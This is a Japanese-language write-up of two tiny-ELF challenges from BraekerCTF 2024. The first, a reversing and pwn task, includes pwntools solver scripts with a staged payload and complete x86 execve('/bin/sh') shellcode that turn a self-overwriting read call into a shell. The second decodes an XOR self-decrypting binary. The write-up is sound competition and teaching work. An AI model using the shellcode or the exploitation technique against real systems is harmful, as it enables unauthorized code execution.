BraekerCTF 2024 に参加しました。Tiny ELF の問題が非常に面白かったので Writeup を書きます。
もくじ
Embryobot(Rev/Pwn)
“This part will be the head, ” the nurse explains. The proud android mother looks at her newborn for the first time. “However, ” the nurse continues, “we noticed a slight growing problem in its code. Don’t worry, we have a standard procedure for this. A human just needs to do a quick hack and it should continue to grow in no time.”
The hospital hired you to perform the procedure. Do you think you can manage?
The embryo is: f0VMRgEBAbADWTDJshLNgAIAAwABAAAAI4AECCwAAAAAAADo3////zQAIAABAAAAAAAAAACABAgAgAQITAAAAEwAAAAHAAAAABAAAA==
問題文として与えられた Base64 テキストをデコードすると、非常に小さいサイズの 32 bit ELF バイナリを入手できます。
興味深いことに、ヘッダ内で定義されたエントリポイントのアドレスはファイルオフセット上で 0x23 でした。
また、ELF ヘッダを含むすべての領域に書き込みと実行アクセス権限が割り当てられていることがわかります。
どうやら、ELF ヘッダ内のバイナリを実行コードとして解釈させることでこのような小さなバイナリを作成しているようです。
このような Tiny ELF を作成するテクニックは以下のような記事にまとめられているようです。
参考:Tiny ELF Files: Revisited in 2021
参考:A Whirlwind Tutorial on Creating Really Teensy ELF Executables for Linux
今回のバイナリは Ghidra ではうまくディスアセンブルすることができませんでしたが、IDA を使用すると以下のようなコードを取得できました。
上記の通り、エントリポイントとして指定されたアドレスから ELF ヘッダ内のコードを呼び出し、以下のようなコードを実行していることがわかります。
mov eax, 3 ; システムコール番号3 (sys_read)
mov ebx, 0 ; ファイルディスクリプタ0 (標準入力)
pop ecx
xor cl,cl
mov edx,0x18
int 0x80
add al, [eax]
add eax,[eax]
add [eax],eax
ここでは、ssize_t read(int fd, void buf[.count], size_t count);
であらわされる x86 の read システムコールが呼び出されます。
edx に 0x18 が格納されることから、入力が可能なサイズは 0x18 バイトに限定されます。
参考:read(2) - Linux manual page
ecx には通常入力されたバイト列を受け取るバッファのアドレスが指定されますが、pop ecx; xor cl,cl
というコードで取得できるアドレスが何を指すのかよくわかっていませんでした。
まず、pop ecx
が実行されたときのスタックトップに何の値が入っているのか考えます。
このコードはエントリポイントから call で呼び出されているので、スタックトップには現在 return 先のアドレス(0x08048028) が格納されていると想定されます。
さらに、xor cl,cl
で ecx のアドレスの下位の 1 バイト分のみを 0 に置き換えます。
これによって、pop ecx; xor cl,cl
は ecx レジスタにイメージベースを格納する処理であることがわかります。
つまり、read で受け取った一連の入力はイメージベース 0x8048000 から 0x18 バイト分の領域まで格納されると考えられます。
システムコールを発行した次の実行アドレスは 0x8048010 なので、read でプロセスメモリ内の実行コードをオーバーライドすることで、任意の命令を実行できそうだということがわかります。
しかし、この程度のサイズの命令ではシェルコードを発行できません。
この脆弱性を利用してどのようにシェルを取得するか考えます。
ここまでの想定が正しいか、gdb で動的解析を行いながら調べていきたいと思いますが、今回の問題バイナリは特殊な構造のためか、gdb で解析が上手く行えませんでした。
そこで、以下のアセンブリをビルドしたプログラムに対して解析を行います。
; nasm -f elf32 tmp.asm && ld -m elf_i386 -o tmp tmp.o
section .text
global _start
vlun:
mov eax, 3 ; システムコール番号3 (sys_read)
mov ebx, 0 ; ファイルディスクリプタ0 (標準入力)
pop ecx
xor cl,cl
mov edx,0x18
int 0x80
add al, [eax]
add eax,[eax]
add [eax],eax
_start:
call vlun
xor al, 0
ただし、nasm -f elf32 tmp.asm && ld -m elf_i386 -s -o tmp tmp.o
でビルドした状態では ELF ヘッダの領域に書き込みと実行権限がなく、問題バイナリと同じような挙動を再現できません。
そこで、ELF ヘッダのオフセット 0x1C から取得したプログラムヘッダの先頭に 32bit ELF のフラグが格納されるオフセット 0x18 を足した値の 0x4c のバイト値を読み取りフラグの 0x4 から 0x7 に置き換えます。
さらに、同じ要領で 2 番目のプログラムヘッダの値も書き換えます。
参考:Executable and Linkable Format - Wikipedia
これによって、作成したプログラムでも ELF ヘッダの領域と .text セクションに書き込みと実行権限を割り当てることができました。
このプログラムを gdb で解析すると、想定通りシステムコール発行時の書き込みバッファアドレスがベースアドレスに指定されていることを確認できます。
これに、python3 -c 'import sys; sys.stdout.buffer.write(b"\x90"*0
x18)' > data
で作成したバイトデータを入力として与えてみます。
すると、以下のように入力値でコードの置き換えに成功したことを確認できます。
シェルを取得する糸口を見つけるため、システムコールを発行した状態でレジスタに何の値が格納されているかを考えることにします。
システムコールを発行した直後の時点では、ecx にベースアドレス、edx に 3 が格納されたままになっているはずです。
eax には read の戻り値である入力文字のサイズが格納されます。
ここから、例えば jmp ecx
を発行すると、オーバーライドした 0x18 バイト分の領域の先頭にジャンプして任意のコード実行につなげられそうだということがわかります。
実際にエクスプロイトが通るか確認するため、試しに以下のコードを実行してみます。
ここでは、b'\x90\x90\x90\x90\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\xcd\x80\xff\xe1'
という 18 バイト分のシェルコードをプログラムに送り込んでいます。
edx と ecx レジスタはバイトサイズの都合で変えていませんが、sys_write システムコールを使用して ecx に格納されたままになっているベースアドレスのデータを標準入力に出力するコードを記載しています。
from pwn import *
# p = remote("0.cloud.chals.io", 20922)
p = process("./download.elf")
payload = asm(
"""
nop
nop
nop
nop
mov eax, 4
mov ebx, 1
int 0x80
jmp ecx
""")
p.send(payload)
p.interactive()
このスクリプトを実行してみると、nop から始まるバイトデータが標準入力に返されることを確認できます。
これで、jmp ecx
による任意のコード実行が可能なことを確認できました。
最後に、以下の Solver スクリプトでシェルを取得します。
ここでは、jmp ecx
の次の命令アドレスに再度 read で読み取ったデータを 0x7f バイト分書き込むことで、シェルを取得するためのシェルコード実行につなげています。
from pwn import *
# p = remote("0.cloud.chals.io", 20922)
p = process("./download.elf")
payload = asm(
"""
nop
nop
nop
nop
nop
nop
nop
mov al, 0x3
add ecx,0x12
mov dl, 0x7f
int 0x80
jmp ecx
""")
# print(shellcraft.sh())
shellcode = asm(
"""
/* execve(path='/bin///sh', argv=['sh'], envp=0) */
/* push b'/bin///sh\x00' */
push 0x68
push 0x732f2f2f
push 0x6e69622f
mov ebx, esp
/* push argument array ['sh\x00'] */
/* push 'sh\x00\x00' */
push 0x1010101
xor dword ptr [esp], 0x1016972
xor ecx, ecx
push ecx /* null terminate */
push 4
pop ecx
add ecx, esp
push ecx /* 'sh\x00' */
mov ecx, esp
xor edx, edx
/* call execve() */
push SYS_execve /* 0xb */
pop eax
int 0x80
""")
p.send(payload)
p.send(shellcode)
p.interactive()
この Solver を実行することで Flag を取得できます。
Binary shrink(Rev)
After hearing about young computer problems, you have decided to become a computer shrink. Your first patient is a robot elf.
“A little machine dream I keep having, ” she says. “But when it is over, I always forget the end. I’ve captured the dream’s program, but I don’t dare look”.
Can you run the program for her? Are you able to figure out what’s in her memory right before execution stops?
問題バイナリとして与えられた ELF ファイルを実行すると、>:)
という文字列が出力されるのみでした。
問題文を読むと、プログラム実行中のメモリに Flag が書き込まれるようです。
こんなの gdb で余裕、、、かと思いきや、前問と同じく Tiny ELF のテクニックを使用しており、gdb ではうまく解析ができませんでした。
エントリポイントは 0x8048009 になっています。
このままだとデコンパイラでも objdump でも正しいコードを取得できないので、dd if=binary_shrink of=outdata bs=1 skip=9
で先頭部分をカットした上で objdump -D -Mintel,x86-64 -b binary -m i386 outdata
によりアセンブリを取得します。
とりあえず元ファイルのオフセット 58(0x31+9) のアドレスをコールするところから始まっているようですが、その後の処理は上手くディスアセンブルされていないようです。
そこで次は、dd if=binary_shrink of=outdata bs=1 skip=58
コマンドで 58(0x31+9) バイト目からのデータを取得して解析します。
恐らくスタックトップに入っているエントリポイントの次の実行アドレスを rdx に pop した後、rax に rdx を格納し、その後 0x78(0x3e+58) のアドレスに jmpしているようです。
同じ要領で、dd if=binary_shrink of=outdata bs=1 skip=120
で抜き出した次のコードをディスアセンブルします。
いくつかの処理を行った後に XOR の演算をループしているようです。
実際にビルドできるコードではないですが、ここまでの一連のコードを書き起こしてみました。
section .text
global _start
first:
pop rdx
mov rax,rdx
jmp second
second:
add rdx,0x91
sub rax,0xe
mov rsi,rax
xor ecx,ecx
mov cl,0x56
mov rax,rsi
point:
mov sil,BYTE PTR [rax]
xor BYTE PTR [rdx],sil
xor QWORD PTR [rdx],0x42
inc rdx
inc rax
loop point
_start:
call first
rax と rdx にはスタックトップに存在していたエントリポイントの次の命令アドレスが格納されているはずです。
そのため、sub rax,0xe
にて rax にイメージベースのアドレスが格納され、add rdx,0x91
では rdx に イメージベース + 0xe + 0x91
のアドレスが格納されそうです。
ループ区間では、rax と rdをインクリメントしながら、rax のアドレスの値を 0x42 で XOR して rdx のアドレスに書き込む処理を 0x56 回行うようです。
実際にこのようなバイナリ操作を行う以下の Solver を作成しました。
with open("binary_shrink", "rb") as f:
data = bytearray(f.read()) + bytearray([0 for i in range(0x100)])
rax = 0
rdx = 0xe + 0x91
with open("generated_binary", "wb") as f:
for i in range(0x56):
data[rdx] = data[rdx] ^ data[i]
data[rdx] = data[rdx] ^ 0x42
rdx += 1
f.write(data)
ここで出力したバイナリの命令を読むと、bad data だった箇所が jmp 命令に置き換えられています。
jmp 先のコードを読むと、0xa293a3e つまり ):>\n
を出力するコードでした。
このコードが実行されているタイミングのメモリ情報は、復号されたバイナリをプロセスメモリに展開した状態と一致するので、このバイナリデータから Flag を取得できました。
まとめ
Tiny ELF については全く知見がなかったので勉強になりました。